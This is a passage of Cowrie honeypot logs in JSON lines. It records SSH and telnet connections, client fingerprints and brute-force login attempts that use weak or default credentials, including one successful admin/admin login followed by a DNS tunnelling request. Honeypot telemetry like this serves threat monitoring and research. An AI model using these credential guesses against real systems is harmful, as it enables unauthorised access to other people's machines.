{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:25.603814Z","src_ip":"103.82.20.28","session":"f0c63bd27f1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":33718,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcc99bbbb73e","protocol":"ssh","message":"New connection: 112.216.108.62:33718 (159.203.135.109:22) [session: dcc99bbbb73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:56.727099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:56.731074Z","src_ip":"112.216.108.62","session":"dcc99bbbb73e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:56.935737Z","src_ip":"112.216.108.62","session":"dcc99bbbb73e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"134679","message":"login attempt [root/134679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:57.784140Z","src_ip":"112.216.108.62","session":"dcc99bbbb73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:58.992105Z","src_ip":"112.216.108.62","session":"dcc99bbbb73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.55966567993164,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:39:11.628884Z","src_ip":"128.199.8.54","session":"430bb7e0cf2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41590,"dst_ip":"159.203.135.109","dst_port":23,"session":"c15973363faa","protocol":"telnet","message":"New connection: 128.199.8.54:41590 (159.203.135.109:23) [session: c15973363faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:39:55.093308Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":53350,"dst_ip":"10.17.0.5","dst_port":22,"session":"a111bccc3c48","protocol":"ssh","message":"New connection: 103.27.238.120:53350 (10.17.0.5:22) [session: a111bccc3c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:26.520091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:26.523710Z","src_ip":"103.27.238.120","session":"a111bccc3c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:26.787900Z","src_ip":"103.27.238.120","session":"a111bccc3c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250119","message":"login attempt [root/250119] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:27.582559Z","src_ip":"103.27.238.120","session":"a111bccc3c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:28.851424Z","src_ip":"103.27.238.120","session":"a111bccc3c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":37682,"dst_ip":"159.203.135.109","dst_port":23,"session":"7907705edba9","protocol":"telnet","message":"New connection: 107.6.151.170:37682 (159.203.135.109:23) [session: 7907705edba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:32.989559Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":38036,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ac49074938","protocol":"ssh","message":"New connection: 117.121.214.50:38036 (10.17.0.5:22) [session: a9ac49074938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:33.965060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:33.969713Z","src_ip":"117.121.214.50","session":"a9ac49074938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:34.212998Z","src_ip":"117.121.214.50","session":"a9ac49074938","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"1","message":"login attempt [milad/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:35.207665Z","src_ip":"117.121.214.50","session":"a9ac49074938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:36.450573Z","src_ip":"117.121.214.50","session":"a9ac49074938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.116740465164185,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:44.209907Z","src_ip":"128.199.8.54","session":"c15973363faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":51805,"dst_ip":"159.203.135.109","dst_port":22,"session":"a85aa775cc59","protocol":"ssh","message":"New connection: 112.216.108.62:51805 (159.203.135.109:22) [session: a85aa775cc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:54.258209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:54.262336Z","src_ip":"112.216.108.62","session":"a85aa775cc59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:54.464676Z","src_ip":"112.216.108.62","session":"a85aa775cc59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"1qaz@WSX","message":"login attempt [test1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:55.309402Z","src_ip":"112.216.108.62","session":"a85aa775cc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:40:56.514714Z","src_ip":"112.216.108.62","session":"a85aa775cc59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22108,"dst_ip":"10.17.0.5","dst_port":22,"session":"87b080581ce4","protocol":"ssh","message":"New connection: 87.251.64.176:22108 (10.17.0.5:22) [session: 87b080581ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:41:09.549539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:41:09.556729Z","src_ip":"87.251.64.176","session":"87b080581ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:41:09.650877Z","src_ip":"87.251.64.176","session":"87b080581ce4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:41:09.934121Z","src_ip":"87.251.64.176","session":"87b080581ce4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:41:10.028897Z","session":"87b080581ce4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:41:10.124078Z","src_ip":"87.251.64.176","session":"87b080581ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:41:10.356325Z","src_ip":"87.251.64.176","session":"87b080581ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.47375559806824,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:41:35.463212Z","src_ip":"107.6.151.170","session":"7907705edba9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55082,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a34375d88c8","protocol":"ssh","message":"New connection: 62.133.62.83:55082 (159.203.135.109:22) [session: 4a34375d88c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:42:15.871347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:42:15.876098Z","src_ip":"62.133.62.83","session":"4a34375d88c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:42:15.953965Z","src_ip":"62.133.62.83","session":"4a34375d88c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grifon","message":"login attempt [root/grifon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:42:16.190620Z","src_ip":"62.133.62.83","session":"4a34375d88c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:42:17.271883Z","src_ip":"62.133.62.83","session":"4a34375d88c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":48048,"dst_ip":"10.17.0.5","dst_port":23,"session":"8951fe11dc5d","protocol":"telnet","message":"New connection: 94.23.66.112:48048 (10.17.0.5:23) [session: 8951fe11dc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:42:25.296315Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57526,"dst_ip":"10.17.0.5","dst_port":22,"session":"74ce626bee6d","protocol":"ssh","message":"New connection: 27.71.230.31:57526 (10.17.0.5:22) [session: 74ce626bee6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:42:59.666449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:43:00.335833Z","src_ip":"27.71.230.31","session":"74ce626bee6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:43:00.339047Z","src_ip":"27.71.230.31","session":"74ce626bee6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2006","message":"login attempt [root/admin2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:43:03.206034Z","src_ip":"27.71.230.31","session":"74ce626bee6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:43:05.224988Z","src_ip":"27.71.230.31","session":"74ce626bee6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55980,"dst_ip":"159.203.135.109","dst_port":23,"session":"e68abd0243e5","protocol":"telnet","message":"New connection: 107.6.151.170:55980 (159.203.135.109:23) [session: e68abd0243e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:43:07.019986Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44764,"dst_ip":"159.203.135.109","dst_port":23,"session":"b400fa6c9940","protocol":"telnet","message":"New connection: 107.6.151.170:44764 (159.203.135.109:23) [session: b400fa6c9940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:43:11.974478Z"}
{"eventid":"cowrie.session.closed","duration":0.0038650035858154297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:43:11.978194Z","src_ip":"107.6.151.170","session":"b400fa6c9940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.144755363464355,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:43:41.164621Z","src_ip":"107.6.151.170","session":"e68abd0243e5","protocol":"telnet"}
